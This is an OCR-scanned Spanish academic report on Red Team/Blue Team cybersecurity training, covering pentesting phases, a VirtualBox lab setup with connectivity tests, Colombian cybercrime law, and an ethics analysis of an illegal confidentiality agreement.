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Resumen
El presente informe técnico expone el desarrollo integral de competencias en ciberseguridad,
abordando la dindmica colaborativa entre equipos Red Team y Blue Team en escenarios
simulados de ataque y defensa. Inicia con el disefio y configuracion de un banco de trabajo
virtualizado, empleando herramientas de codigo abierto para la identificacion y explotacion de
vulnerabilidades en sistemas Windows y Linux. El anélisis contempla la aplicaciéon de
metodologias de pentesting, la gestion de incidentes en tiempo real y la implementacion de
estrategias de hardening, todo bajo el marco normativo colombiano y los principios éticos de la
ingenieria. Se examinan casos practicos de acceso no autorizado, movimiento lateral y
contencidon de amenazas, asi como los retos legales asociados a la proteccion de datos y la
denuncia de conductas ilicitas. El trabajo concluye con recomendaciones orientadas a fortalecer
la postura de seguridad organizacional, resaltando la importancia de la formacion continua, la
auditoria permanente y la colaboracion multidisciplinar para enfrentar los desafios actuales en
ciberseguridad.

Palabras clave: blue team, ciberseguridad, hardening, pentesting, red team.



Abstract
This technical report presents the comprehensive development of cybersecurity competencies,
addressing the collaborative dynamics between Red Team and Blue Team in simulated attack and
defense scenarios. It begins with the design and configuration of a virtualized workbench using
open-source tools for identifying and exploiting vulnerabilities in Windows and Linux systems.
The analysis includes the application of pentesting methodologies, real-time incident
management, and the implementation of hardening strategies, all within the Colombian
regulatory framework and the ethical principles of engineering. Practical cases of unauthorized
access, lateral movement, and threat containment are examined, along with legal challenges
related to data protection and reporting illicit activities. The work concludes with
recommendations aimed at strengthening organizational security posture, emphasizing the
importance of continuous training, ongoing auditing, and multidisciplinary collaboration to
address current cybersecurity challenges.

Keywords: blue team, cybersecurity, hardening, pentesting, red team.
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Glosario
Ataque lateral (Lateral Movement):
Es una tactica empleada por quienes buscan comprometer una red, consiste en moverse de un
equipo ya vulnerado hacia otros sistemas internos, aprovechando permisos o debilidades, con el
objetivo de ampliar el acceso y obtener informacion sensible, esta técnica suele pasar
desapercibida si no se cuenta con una buena segmentacion de red y monitoreo.
Blue Team:
Se refiere al grupo de especialistas que se dedica a proteger los sistemas de una organizacion, su
labor es anticipar, detectar y responder a amenazas, utilizando herramientas y estrategias para
mantener la seguridad y la continuidad operativa, el éxito del Blue Team depende de la
capacidad de adaptarse a nuevos riesgos y aprender de cada incidente.
Ciberseguridad:
Es el conjunto de practicas y medidas que se aplican para resguardar la informacion y los
sistemas tecnologicos frente a riesgos, ataques o accesos no autorizados, su proposito es
garantizar la confidencialidad, integridad y disponibilidad de los datos, en la actualidad, la
ciberseguridad es un pilar fundamental para la confianza digital en cualquier sector.
Control de acceso:
Son los mecanismos que determinan quién puede ingresar, modificar o consultar informacién en
un sistema, se basa en reglas y permisos que buscan evitar que personas no autorizadas accedan a
recursos criticos, un buen control de acceso reduce el impacto de errores humanos y ataques
internos.
CSIRT (Computer Security Incident Response Team):
Es el equipo responsable de atender y gestionar incidentes de seguridad informatica, su funcién

principal es investigar, contener y solucionar problemas que puedan afectar la infraestructura
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tecnologica, la rapidez y coordinacion del CSIRT son claves para minimizar dafos y recuperar la
normalidad.

Explotacion (Exploit):

Hace referencia al uso de una debilidad en un sistema para ejecutar acciones no permitidas, quien
explota una vulnerabilidad puede obtener privilegios, acceder a datos o alterar el funcionamiento
de la plataforma, la explotacion suele ser el punto de inflexion en un ataque exitoso.

Firewall:

Es una herramienta, ya sea fisica o virtual, que filtra el trafico de red, permite decidir qué
comunicaciones se aceptan y cudles se bloquean, ayudando a prevenir accesos no deseados y
ataques externos, un firewall bien configurado es la primera linea de defensa en cualquier
arquitectura de red.

Gestion de incidentes:

Consiste en el conjunto de acciones y procedimientos que se aplican cuando ocurre un evento
que afecta la seguridad, incluye la deteccion, anélisis, contencion, erradicacion y recuperacion,
buscando minimizar el impacto y restaurar la normalidad, una gestion de incidentes efectiva
reduce el tiempo de inactividad y los costes asociados.

Hardening:

Son las acciones orientadas a reforzar la seguridad de sistemas y aplicaciones, implica desactivar
servicios innecesarios, aplicar configuraciones seguras y reducir al maximo las posibles vias de
ataque, el hardening es una practica preventiva que dificulta la labor de los atacantes.
Metasploit:

Es una plataforma que facilita la realizacion de pruebas de seguridad, permite simular ataques,

desarrollar y ejecutar exploits, ayudando a identificar y corregir vulnerabilidades en entornos
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controlados, su uso es habitual en auditorias técnicas y formacion de equipos Red Team (Rapid?7,
2012).

NAC (Network Access Control):

Es una tecnologia que regula el acceso a la red, permitiendo solo la entrada de dispositivos que
cumplen con las politicas de seguridad, si detecta equipos sospechosos, puede aislarlos
automaticamente, el NAC es especialmente util en entornos corporativos con alta rotacion de
dispositivos.

Nmap:

Herramienta utilizada para explorar redes y sistemas, permite descubrir dispositivos conectados,
identificar puertos abiertos y detectar posibles debilidades, siendo fundamental en la fase de
reconocimiento, su versatilidad la convierte en una herramienta imprescindible para
administradores y auditores.

OpenVAS:

Es un sistema de cddigo abierto que ayuda a identificar vulnerabilidades en equipos y redes,
realiza andlisis detallados y reporta los riesgos encontrados para facilitar su correccion,
OpenVAS es valorado por su capacidad de actualizacion constante y su enfoque colaborativo.
Pentesting (Pruebas de penetracion):

Son ejercicios controlados que simulan ataques reales con el fin de descubrir y solucionar fallos
de seguridad antes de que puedan ser explotados por terceros, el pentesting permite a las
organizaciones anticiparse a amenazas y mejorar sus defensas (Incibe, 2019).

Pivoting:

Técnica que consiste en utilizar un equipo ya comprometido como punto de partida para acceder
a otros sistemas dentro de la misma red, ampliando el alcance del ataque, el pivoting suele ser

clave para los atacantes que buscan moverse lateralmente y escalar privilegios.
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Red Team:

Grupo encargado de poner a prueba la seguridad de una organizacion mediante simulaciones de
ataques, su objetivo es detectar debilidades y evaluar la capacidad de respuesta del equipo
defensor, el trabajo del Red Team fomenta la mejora continua y la cultura de seguridad.

SIEM (Security Information and Event Management):

Solucién que recopila y analiza informacion de diferentes sistemas y dispositivos, permite
detectar patrones sospechosos, generar alertas y facilitar la investigacion de incidentes, el SIEM
es fundamental para la monitorizacion centralizada y el cumplimiento normativo (Moreno,
2015).

Vulnerabilidad:

Es una debilidad o error en un sistema, aplicacion o proceso que puede ser aprovechado por un
atacante para causar dafio, acceder a informacion o alterar el funcionamiento esperado,

identificar y corregir vulnerabilidades es una tarea constante en la gestion de la seguridad.
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Introduccion

En los ultimos afios, la transformacion digital ha cambiado radicalmente la manera en que
las organizaciones gestionan su informacion y enfrentan los riesgos tecnoldgicos, este proceso,
lejos de simplificar la seguridad, ha traido consigo nuevos desafios y una mayor exposicion a
amenazas que evolucionan constantemente, ante este panorama, resulta imprescindible que las
empresas adopten enfoques proactivos y colaborativos, donde la prevencion y la capacidad de
respuesta sean parte integral de la cultura organizacional.

La interaccion entre equipos Red Team y Blue Team se ha consolidado como una
estrategia clave para fortalecer la defensa de los activos digitales, gracias a la simulacion de
ataques y la evaluacion continua de vulnerabilidades, es posible anticipar incidentes y disenar
soluciones efectivas que van mas alla de la reaccion ante el problema, el presente informe recoge
la experiencia adquirida en el desarrollo de escenarios practicos, donde se han puesto en marcha
metodologias avanzadas de ciberseguridad y se han utilizado herramientas especializadas para
abordar situaciones reales.

A lo largo del trabajo, se integran aspectos técnicos, legales y éticos, con el propdsito de
no solo demostrar competencias profesionales, sino también fomentar una vision critica y
responsable frente a los retos actuales en la proteccion de la informacion, el objetivo es aportar
reflexiones y aprendizajes que contribuyan a la mejora continua y a la construccion de entornos

digitales mas seguros y confiables.
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Justificacion

La proteccion de la informacion se ha convertido en un elemento indispensable para la
estabilidad y el desarrollo de cualquier organizacion, en un entorno donde las amenazas
informaticas evolucionan de manera constante, resulta imprescindible contar con estrategias que
permitan anticipar, detectar y responder a los riesgos de forma efectiva, la aplicacion de
metodologias Red Team y Blue Team aporta una vision integral, ya que combina la simulacién
de ataques controlados con la defensa activa y la evaluacion continua de los controles
implementados.

Este enfoque no solo facilita la identificacion de brechas de seguridad y la validacion de
las medidas existentes, sino que también promueve una cultura de mejora continua y aprendizaje
colaborativo, ademas, la incorporacion de criterios legales y éticos garantiza que las acciones
emprendidas respeten los derechos fundamentales y se ajusten a la normativa vigente,
minimizando asi los riesgos legales y reputacionales.

El presente trabajo busca contribuir a la formacion de profesionales capaces de enfrentar
los desafios actuales en ciberseguridad, aportando soluciones innovadoras y sostenibles que
respondan a las necesidades reales del sector, la experiencia adquirida a lo largo del proceso
pretende servir como base para el desarrollo de nuevas competencias y para la consolidacion de

entornos digitales mas seguros y confiables.
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Objetivos

Objetivo General

Analizar y fortalecer las capacidades técnicas, tacticas y de respuesta de los equipos Red
Team y Blue Team en escenarios simulados de ciberseguridad, integrando metodologias de
pentesting, gestion de incidentes y cumplimiento normativo, con el fin de proponer estrategias
efectivas para la proteccion de activos digitales en entornos organizacionales.
Objetivos Especificos

Identificar las principales vulnerabilidades presentes en sistemas Windows y Linux
mediante la aplicacion de pruebas de penetracion estructuradas.

Evaluar la eficacia de las estrategias de defensa implementadas por el Blue Team ante
ataques simulados, proponiendo medidas de hardening y monitoreo continuo.

Analizar el marco legal y ético aplicable a las operaciones de ciberseguridad, destacando
la importancia de la denuncia y la proteccion de datos personales.

Documentar el proceso de respuesta y contencion ante incidentes, resaltando la
importancia de la preservacion de evidencias y la coordinacion multidisciplinar.

Formular recomendaciones orientadas a la mejora continua de la postura de seguridad

organizacional, promoviendo la formacion y auditoria permanente.
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Fundamentos de Operaciones Red Team y Blue Team

La sinergia entre Red Team y Blue Team permite evaluar la resiliencia de los sistemas
frente a ataques simulados y disefiar respuestas efectivas, segiin Arroyo (2025), la colaboracion
entre ambos equipos potencia la proteccion de entornos corporativos, mientras que Kotwani,
Sawant y Chopra (2023) destacan que estas estrategias presentan ventajas y desafios particulares
que deben ser gestionados con rigor, estudios recientes confirman que la interaccion entre
equipos Red y Blue mejora la capacidad de respuesta ante incidentes complejos en entornos
simulados (Chindrus & Caruntu, 2023), ademas, el enfoque Red Team/Blue Team también se
aplica en la evaluacion de hardware, garantizando la confianza en los sistemas criticos
(Rajendran, Jyothi & Karri, 2011), este tipo de préacticas surge como respuesta a los retos que
plantea la sociedad en red y la transformacion digital, donde la interconexion global incrementa
la exposicion a riesgos (Castells, 2010).
Legislacion en Colombia sobre delitos informaticos y proteccion de datos

El marco normativo colombiano establece lineamientos claros para la proteccion de datos
y la prevencion de delitos informaticos, la Ley 1273 de 2009 tipifica conductas como el acceso
abusivo y la interceptacion de datos, fundamentales para garantizar la seguridad digital
(Guarnizo Portela, 2024); asimismo, las politicas de privacidad y condiciones de uso son
reguladas por el Ministerio de Tecnologias de la Informacion y las Comunicaciones (2022), lo
que refuerza la responsabilidad de las organizaciones en el manejo de informacion sensible, estas
disposiciones se complementan con principios éticos establecidos en el Codigo de Etica para
ingenieros (Copnia, 2015), que exigen actuar con probidad y transparencia en la gestion de
informacion, por lo anterior, podemos afirmar que en Colombia, la legislacion sobre delitos
informaticos y proteccion de datos personales ha ido evolucionando para adaptarse a las nuevas

necesidades del entorno digital, las leyes mas relevantes en este ambito son:
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Ley 1581 de 2012: Proteccion de Datos Personales

Su finalidad es garantizar la proteccion de los datos personales de los ciudadanos y
regular el manejo de la informacion que recogen las entidades tanto publicas como privadas, aqui
se establecen principios fundamentales para el tratamiento de los datos, dentro de ellos se
encuentran la transparencia, la finalidad, la seguridad y la calidad de la informacion, asi mismo,
otorga a los ciudadanos derechos como el acceso, correccion, y cancelacion de sus datos
personales; segun Zuluaga Mateus (2017), esta ley busca garantizar el derecho a la privacidad de
los individuos en un contexto digital en el que la informacién personal es cada vez mas
vulnerable a un uso indebido, la ley también obliga a las entidades a obtener el consentimiento
explicito de los titulares de los datos antes de realizar cualquier tipo de tratamiento.
Ley 1273 de 2009: Delitos Informadticos

Establece un marco legal para combatir los delitos informaticos en Colombia, aqui se
tipifica y sanciona conductas como el acceso no autorizado a sistemas informaticos, el robo de
informacion, la alteracion de datos y la utilizacion fraudulenta de sistemas informaticos,
podriamos afirmar que esta ley es en un pilar fundamental para asegurar la integridad de los
sistemas informaticos y la proteccion de la informacion. Sanne (2024) subraya que esta ley es
clave en la lucha contra el cibercrimen, proporcionando las herramientas legales para sancionar a
los responsables de estos delitos y garantizar la seguridad digital en el pais.
Ley 1341 de 2009: Regulacion de las Tecnologias de la Informacion y la Comunicacion

Regula el uso de las tecnologias de la informacion y la comunicacion (TIC) en Colombia,
esta ley promueve el acceso equitativo a las TIC, asi como el desarrollo y la competitividad en el
sector digital, de igual forma, establece directrices para la proteccion de la infraestructura critica

de la informacion en el pais.
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Etapas del pentesting

Las pruebas de penetracion son esenciales para evaluar la seguridad de los sistemas, el
pentesting permite auditar la seguridad de los sistemas de forma controlada (Incibe, 2019) y se
estructura en fases que incluyen reconocimiento, explotacion y post-explotacion, existen diversas
metodologias para pruebas de penetracion en ciberseguridad que facilitan la identificacion de
vulnerabilidades (Palomo Luna, Zambrano Hernandez, Moreno Molano & Pefia Hidalgo, 2024),
ademas, el pentesting es una herramienta valiosa para las organizaciones que buscan anticiparse
a posibles ataques (PandaSecurity, 2018), investigaciones recientes confirman que estas
metodologias son efectivas para reducir riesgos en entornos corporativos (Alhamed et al., 2023;
Alvarez, 2018; Sanne, 2024).
1. Reconocimiento

Esta es la primera etapa, en ella el objetivo es recopilar toda la informacion posible sobre
el objetivo con el fin de entender como esta estructurado y qué posibles vulnerabilidades podrian
ser explotadas, en esta fase, se incluye el escaneo de puertos, la recoleccion de datos sobre la
infraestructura de red y la identificacion de sistemas operativos, una de las herramientas mas
utilizadas es “Nmap”, toda vez que, que permite escanear redes y descubrir dispositivos
conectados.
2. Escaneo y Mapeo de Vulnerabilidades

Una vez agotada la fase de recoleccion, el siguiente paso es identificar las
vulnerabilidades presentes en el sistema, se podria utilizar la herramienta “OpenVAS”, la cual
realiza un escaneo completo de las vulnerabilidades conocidas que podrian ser explotadas en los

sistemas de destino.
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3. Explotacion

En esta fase, se intenta explotar las vulnerabilidades identificadas para obtener acceso no
autorizado a los sistemas, una de las herramientas mas utilizadas es “Metasploit”, toda vez que,
permite a los profesionales ejecutar exploits contra las vulnerabilidades detectadas.
4. Post-Explotacion

Una vez obtenida la entrada al sistema, el siguiente paso es analizar el impacto del acceso
obtenido, aqui se incluye la busqueda de mas vulnerabilidades, el escalamiento de privilegios y
la obtencion de informacion adicional; “Empire” es una de las herramientas mas utiles en esta
fase para mantener el acceso y obtener mayor control sobre el sistema comprometido.
5. Informe

Lo ultimo que se realiza es un informe detallado sobre las vulnerabilidades encontradas,
las técnicas utilizadas y las recomendaciones para mitigar los riesgos, esta actividad es clave para
que los responsables del sistema tomen las medidas necesarias para fortalecer la seguridad.
Definicion y explicacion herramientas de ciberseguridad

Entre las herramientas mas utilizadas se encuentra Metasploit, ampliamente reconocida
por su capacidad para explotar vulnerabilidades en entornos controlados (Rapid7, 2012),
asimismo, los sistemas SIEM facilitan la deteccion y andlisis de ataques mediante la correlacion
de eventos y la generacion de alertas en tiempo real (Moreno, 2015), estas herramientas, junto
con otras como Nmap y OpenVAS, son fundamentales para implementar pruebas de penetracion
efectivas y garantizar la proteccion de los activos digitales, a continuacion, se dara a conocer las

definiciones y conceptos de cada uno de ellos:
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Metasploit:

Herramienta esencial para los pentesters, utilizada para el desarrollo y ejecucion de
exploits, permite automatizar el proceso de explotacion de vulnerabilidades y es ampliamente
utilizada para realizar pruebas de penetracion en entornos controlados.

Nmap

Herramienta de escaneo de redes la cual permite descubrir dispositivos conectados a una
red, identificar puertos abiertos y detectar vulnerabilidades, principalmente es utilizada en la fase
de reconocimiento durante un pentest.

OpenVAS

Herramienta que permite escanear y evaluar las vulnerabilidades en sistemas
informaticos, es un sistema de gestion de vulnerabilidades de codigo abierto, su uso es muy
comun para la identificacion de vulnerabilidades en sistemas y redes durante el pentesting.
ExploitDB

Es una herramienta clave para los pentesters que necesitan informacion sobre
vulnerabilidades documentadas, toda vez que, es una base de datos publica de exploits conocidos
que ofrece un repositorio de vulnerabilidades junto con sus respectivos exploits.
Reconocimiento, analisis y configuracion banco de trabajo
Figura 1.

Instalacion Herramienta VirtualBox
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Nota: Se puede observar la instalacion de la Maquina Virtual (MV) VirtualBox necesaria para el

desarrollo de las actividades dispuestas en la guia.

Figura 2.

Descarga de los sistemas operativos Windows 7 y Kali Linux
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Nota: se procedio a realizar la descarga de los sistemas operativos Windows 7 y un sistema
operativo Kali Linux, imagenes en formato *.OV A, disponibles en el foro del desarrollo de la
actividad.

Figura 3.

Direccionamiento IP maquina fisica
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Fuente. Elaboracion propia Nelson Reyes

Nota: En la maquina fisica a través del comando ipconfig se procede verificar el
direccionamiento IP asignado asi: puerta de enlace 192.168.0.1, direccion IP maquina fisica
192.168.0.5.

Figura 4.

Direccionamiento IP — MV Kali Linux
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Nota: En la maquina virtual Kali Linux a través del comando ip a se procede verificar el
direccionamiento IP asignado asi: puerta de enlace 192.168.0.1, direccion IP MV Kali Linux
192.168.0.6.

Figura S.
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Nota: en la maquina virtual Windows 7 a través del comando ip a se procede verificar el

direccionamiento IP asignado asi: puerta de enlace 192.168.0.1, direccion IP MV Kali Linux

192.168.0.7.

Figura 6.

Ping desde la maquina fija hacia puerta de enlace
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Fuente. Elaboracion propia Nelson Reyes

Nota: En la maquina fisica se procede a realizar el comando ping con el fin de establecer

comunicacion con la puerta de enlace, constatando la entrega de paquetes a la direccion

192.168.0.1.

Figura 7.

Ping desde la MV Kali Linux hacia puerta de enlace
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Fuente. Elaboracion propia Nelson Reyes

Nota: En la méaquina virtual Kali Linux se procede a realizar el comando sudo ping con el fin de
establecer comunicacion con la puerta de enlace, constatando la entrega de paquetes a la
direccion 192.168.0.1.

Figura 8.

Ping desde la MV Windows 7 hacia puerta de enlace
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Nota: En la maquina virtual Windows 7 se procede a realizar el comando ping con el fin de

establecer comunicacion con la puerta de enlace, constatando la entrega de paquetes a la

direccion 192.168.0.1.

Figura 9.

Ping desde maquina fisica a MV Kali Linux
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C:\Users\NER189831>

Fuente. Elaboracion propia Nelson Reyes

Nota: En la maquina fisica se procede a realizar el comando ping con el fin de establecer

comunicacion con la maquina virtual Kali Linux, constatando la entrega de paquetes a la

direccion 192.168.0.6.

Figura 10.

Ping desde maquina fisica a MV Windows 7
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Fuente. Elaboracion propia Nelson Reyes

Nota: En la méaquina fisica se procede a realizar el comando ping con el fin de establecer
comunicacion con la méquina virtual Windows 7, constatando la entrega de paquetes a la
direccion 192.168.0.7.

Figura 11.

Ping desde MV Kali Linux a maquina fisica
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Nota: En la maquina virtual Kali Linux se procede a realizar el comando ping con el fin de
establecer comunicacion con la méaquina fisica, constatando la entrega de paquetes a la direccion
192.168.0.5.

Figura 12.

Ping desde MV Kali Linux a maquina virtual Windows 7

user's Home

README license

password.txt

Bl Parrot Terminal

095 BEEE @ oo
Fuente. Elaboracion propia Nelson Reyes

Nota: En la maquina virtual Kali Linux se procede a realizar el comando ping con el fin de
establecer comunicacion con la maquina virtual Windows 7, constatando la entrega de paquetes a
la direccion 192.168.0.7.

Figura 13.

Ping desde MV Windows 7 a maquina fisica
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Nota: en la maquina virtual Windows 7se procede a realizar el comando ping con el fin de
establecer comunicacion con la maquina fisica, constatando la entrega de paquetes a la direccion
192.168.0.5.

Figura 14.

Ping desde MV Windows 7 a MV Kali Linux
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Nota: en la maquina virtual Windows 7 se procede a realizar el comando ping con el fin de
establecer comunicacion con la maquina virtual Kali Linux, constatando la entrega de paquetes a
la direccion 192.168.0.6.

Figura 15.
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Fuente. Elaboracion propia Nelson Reyes

Nota: el montaje del banco de trabajo se realizé con los siguientes equipos: maquina fisica,
programa VirtualBox, maquina virtual Kali Linux y maquina virtual Windows 7 y utilizando el
internet claro hogar, por lo cual, se describiran las caracteristicas del hardware de los equipos

que hacen para del banco de trabajo.
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Figura 16.

Condiciones del hardware maquina Windows

Configuracion Q, Buscar una configuracion
®  neRi0983! Sistema > Informacion
WP cuentalocal
B Almacenamiento B Tarjeta grafica 9 pAM instalada @ Procesador
£ Inicio 447 GB 128 MB. 8,00 GB Intel(R) Core(TM)
i5-8250U CPU @
| B Sistema 1.60GHz
@ Biuetooth y dispositivos 297 GB de 447 GB usado Velocidad: 2400 MHz 1.80 Ghz

Red e Internet

A 4
#  Personalizacion
[

NELSON_REYES Cambiar el nombre de este equipo

Aplicaciones Xa11UA
@ Cuentas
(D Especificaciones del dispositivo Copiar ~
® Hora e idioma
B Juegos Nombre del dispositivo NELSON_REYES
Procesador C

K Accesibilidad RAM instalada

P Privacidad y seguridad Identificador de dispositive
Id. del producto

@ Windows Update Tipo de sistema

ts. procesador

Lapiz y entrada tactil La uscrita no esté disp

e para esta pantalla

Vinculos relacionados  Dominio o grupo de trabsjo  Proteccién del sistema  Configuracién avanzada del sistema

Fuente. Elaboracion propia Nelson Reyes

Nota: Se observa las caracteristicas del hardware de la maquina fisica Asus modelo X411UA, las
cuales se describen en la tabla 1.

Tabla 1.

Descripcion hardware maquina fisica

Nombre del dispositivo NELSON_REYES

Modelo ASUS X411UA

Procesador Intel Core 15-8250U CPU @ 1.60 GHz (hasta 1.80 GHz)

RAM instalada 8 GB (7.88 GB usable)

Velocidad RAM 2400 MHz

Almacenamiento 447 GB SSD (297 GB usado)

Tarjeta grafica Intel UHD Graphics 620

Memoria de GPU 128 MB dedicada + 0.2 GB compartida (méx. 3.9 GB)




Version del controlador 31.0.101.2111

GPU

Fecha del controlador 19/07/2022

Version DirectX 12 (FL 12.1)

Ubicacion fisica GPU Bus PCI 0, dispositivo 2, funcién 0

Tipo de sistema Sistema operativo de 64 bits, procesador basado en x64

Pantalla tactil No disponible

Red Ethernet Presente (Ethernet 3)

Wi-Fi Activo (4.3 Mbps)

Fuente. Elaboracion propia Nelson Reyes
Figura 17.

Condiciones del hardware maquina Kali Linux

W5 Oracle VirtualBox Administrado = a
on
@ iep & <
| = Nueva Open  Configuracién Mostrar
s LAB-FAIT & @ = £
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= CP-FIT
(=] @ apagada Mot Parrot 05 Security Edition

ister ivo: Debian 12 Bookworm (64-bit)

fe] .~ ESISeq.DE ru ESI Seg. DB

psall | Win7-SE2020-X64
- WZ 0 petenica M 5224 M8

4

- r nque: Optica, Disco dure

‘r'\ Parrot OS Security Edition i 20

=4 <> Comiendo EF

Habilitado
Paginacién anidada, Nested VT-x/AMD-V, PAE/NX, Paravirtualizacién KVM

& GNS3 VM
iyt

122 MB
iy VMSVGA
= SERVER Habilitado
=k s
Z015) @ apagada io remoto:  Inhabilitado
Inhabilitado
CLIENTE1
@ Apagada
I Pisense

s © Apagoca

itrion:  Predeterminade

i®) e ICH ACS7
i (B Guardada !
= ASS-TecnoSYS Adaptador 1:  Intel PRO/1000 MT Desktop (Adaptador puente, «Qualcomm Atheros QCA9377 Wireless Network Adapters)
f P Ll P P P
(& Guardada 5 uss
?‘: " Controlador USB: OHCI, EHCI
E69W CvberOps Workstation 2

Fuente. Elaboracion propia Nelson Reyes
Nota: se observa las caracteristicas del hardware de la maquina virtual Parrot OS Security

Edition, las cuales se describen en la tabla 1.
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Tabla 2.

Descripcion hardware maquina virtual Kali Linux

Nombre

Parrot OS Security Edition

Sistema Operativo

Debian 12 Bookworm (64-bit)

RAM 524 MB
Procesadores 1 CPU
Orden de arranque  Disco duro

Virtualizacion

VT-x/AMD-V, PAE/NX, Paravirtualizacion KVM,

Paginacion anidada

Memoria de video 128 MB
Controlador grafico @ VMSVGA
Aceleracion 3D Habilitado

Disco virtual

Parrot-security-6.3.amd64-disk001.vdi (64 GB)

Unidad optica Vacio
Audio Controlador ICH AC97
Intel PRO/1000 MT Desktop (Adaptador puente, Qualcomm
Red
Atheros QCA9377)
USB Controlador OHCI, EHCI

Fuente. Elaboracion propia Nelson Reyes
Figura 18.

Condiciones del hardware mdaquina Windows
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. Elaboracion propia Nelson Reyes
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= Previsualizacion

Nota: Se observa las caracteristicas del hardware de la maquina virtual Win7-SE2020-X64, las

cuales se describen en la tabla 3.

Tabla

Descripcion hardware maquina virtual Windows 7

3.

Nombre

Win7-SE2020-X64

Sistema

Operativo

Windows 7 (64-bit)

RAM

2,048 MB (2 GB)

Procesadores

1 CPU

Orden de

arranque

Optico, Disco duro

Virtualizacion

Paginacion anidada, Paravirtualizacion Hyper-V

Memoria de

video

18 MB
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Controlador
VMSVGA
grafico

Aceleracion 3D Inhabilitado

Disco virtual Win7-SE2020-X64-disk001.vdi (50 GB)

Unidad optica  Vacio

Audio Windows DirectSound (Intel HD Audio)

Intel PRO/1000 MT Desktop (Adaptador puente, Qualcomm
Red

Atheros QCA9377)
USB Controlador OHCI, EHCI

Fuente. Elaboracion propia Nelson Reyes
Etica Profesional y Marco Normativo en Operaciones de Seguridad
Fragmentos ilegales identificados en acuerdo de confidencialidad

Una vez leido el acuerdo de confidencialidad se analiza la informacion con el fin de
identificar algiin proceso ilegal y no ético que se esté estipulando en dicho acuerdo.
Cldausula primera, objeto.

(...) “la parte receptora se obliga a no divulgar...” “sobre procesos ilegales dentro de
SecureNova Labs no podran ser divulgados (...)”, es importante tener en cuenta que la
confidencialidad no puede prohibir la denuncia de delitos ni encubrirlos, por lo cual, la clausula
iria en contra de la Ley 1273 del 05/01/2009, en la que se tipifican conductas como acceso abusivo,
interceptacion de datos y violacion de datos personales; ademas, cualquier “pacto, compromiso”
para ocultarlas iria en contra del deber de denunciar, asi como de colaborar con autoridades que

impone el COPNIA.
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Clausula segunda, numeral 2.
(...) “Cualquier informacion...” “datos secretos como “datos de chuzadas, interceptacion

299

de informacion, accesos abusivos a sistemas informaticos”” (...), los conceptos anteriores se
encuentran relacionados con conductas descritas en el articulo 269A “acceso abusivo™ y articulo
269C “interceptacion” de la Ley 1273 del 05/01/2009 y no pueden “blindarse” por Acuerdo de No
Divulgacion (NDA).

Clausula cuarta, numeral 3.

(...) “No denunciar ante las autoridades actividades sospechosas de espionaje o cualquier
otro proceso (...)”, este numeral vulnera el deber de denunciar y de colaboracion del Codigo de
Etica establecido en la Ley 842 del 2003, asimismo, fomenta la impunidad.

Cldausula octava.

(...) “En caso que la informacion ilegal o confidencial sea encontrada en manos del
receptor este deberd acudir a un abogado privado y dejar exenta de cualquier responsabilidad
legal y penal a SecureNova Labs (...)”, con esta clausula, la empresa intenta trasladar la
responsabilidad penal al aspirante, contrario a la rectitud e independencia técnica exigidas por
COPNIA.

Articulos vulnerados en el acuerdo de confidencialidad

Tabla 4.

Articulos Ley 1273 vulnerados

Articulo Ley 1273 de 2009 Explicacion

El acuerdo alude a “accesos abusivos” como “secretos”. Si
Art. 269A — Acceso abusivo

hubo acceso sin autorizacion o por fuera de lo acordado, se
a un sistema informatico

configura el tipo.
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Al incorporar “interceptacion de informacion” como
Art. 269C — Interceptacion

contenido protegido, se sugiere captacion sin orden judicial,
de datos informaticos

conducta tipica.

Art. 269F — Violacion de Obtencion/uso/divulgacion de datos personales sin

datos personales autorizacion, con provecho propio o de terceros.

Art. 269E — Uso de software  Si se usaron herramientas maliciosas en “chuzadas” o

malicioso espionaje.

Art. 269G — Suplantacion de  Relevante si hubo phishing o DNS spoofing para capturar

sitios web (phishing/DNS) datos.

Agravantes del Titulo VII Aprovechamiento de la confianza o revelacion en perjuicio

BIS de otro aumentan la pena.

Fuente. Elaboracion propia Nelson Reyes
Argumentacion ética aplicacion de trabajo

Justed como experto en ciberseguridad aplicaria a este trabajo en SecureNova Labs?, donde
la organizacion dispone de un sueldo de $15.000.000 de pesos colombianos mensuales y contrato
vitalicio.

No aplicaria, si bien es cierto la empresa ofrece una asignacion mensual fija de
“$15.000.000” y “contrato vitalicio” que se puede considerar “atractiva e importante”, dentro de
las clausulas que se analizaron anteriormente, existen varias que van en contra de la normatividad
legal vigente, en este caso, la Ley 1273 de 2009; asi mismo, contra los principios éticos que rigen
la ingenieria en Colombia, podemos resaltar que, el Codigo de Etica del COPNIA establece que el
ingeniero debe actuar con probidad, independencia técnica y responsabilidad social, evitando
cualquier practica que comprometa la legalidad o el interés publico, de igual forma, tenemos el

deber de denunciar actos ilicitos y abstenerse de participar en actividades que vulneren derechos
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fundamentales o fomenten la impunidad, por losa argumentes anteriormente expuestos, rechazaria
rotundamente la propuesta.
Analisis Escenario 2: Ciberespionaje y Etica

(Hasta qué punto las empresas de ciberseguridad deben tener acceso a informacion sensible
de sus clientes durante una auditoria de seguridad, y como se puede garantizar que este acceso no
sea explotado de manera indebida?

En el Anexo 2 se describe un proceso de seleccion realizado bajo condiciones de alta
presion, que implica el manejo de informacion sensible y la firma de contratos no revisados tras
detectarse irregularidades internas, este escenario incrementa el riesgo de acciones fuera del
marco normativo colombiano, especialmente en relacion con la Ley 1273 de 2009 (articulos
269A, 269C, 269F, entre otros); en este contexto, las empresas de ciberseguridad deben limitar
su acceso unicamente a la informacion estrictamente necesaria para cumplir con el alcance
definido en el Rules of Engagement (RoE), aplicando el principio de minimo privilegio y
garantizando que el uso de los datos responda a la finalidad especifica del servicio contratado, la
normativa reconoce la proteccion de la informacion y los datos como un bien juridico autdbnomo,
lo que exige procedimientos claros para identificar y gestionar delitos informaticos, incluyendo
la cadena de custodia, el andlisis de los elementos del tipo penal y el verbo rector
correspondiente, ademas, estudios empiricos sobre la eficacia de la Ley 1273 recomiendan
fortalecer la probabilidad de deteccidon y sancion y robustecer los incentivos para la denuncia,
aspectos que resultan incompatibles con acuerdos de confidencialidad (NDAs) que obligan a
guardar silencio frente a conductas ilicitas.

Tabla 5.

Propuesta para garantizar que el acceso no sea explotado de manera indebida
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Medida

Descripion

Acuerdos contractuales claros

Definir alcance, sistemas en/fuera de alcance, tratamiento de
datos y obligaciones de confidencialidad alineadas con la

Ley 1273 y la Ley 1581

Controles técnicos

Implementar PAM (Privileged Access Management),
cifrado, registros inalterables y monitoreo continuo mediante

SIEM.

Trazabilidad y cadena de

custodia

Documentar cada acceso y accion para auditorias internas y

externas

Separacion de funciones

Aplicar el principio de “cuatro ojos” para validar acciones

criticas.

Capacitacion ética y legal

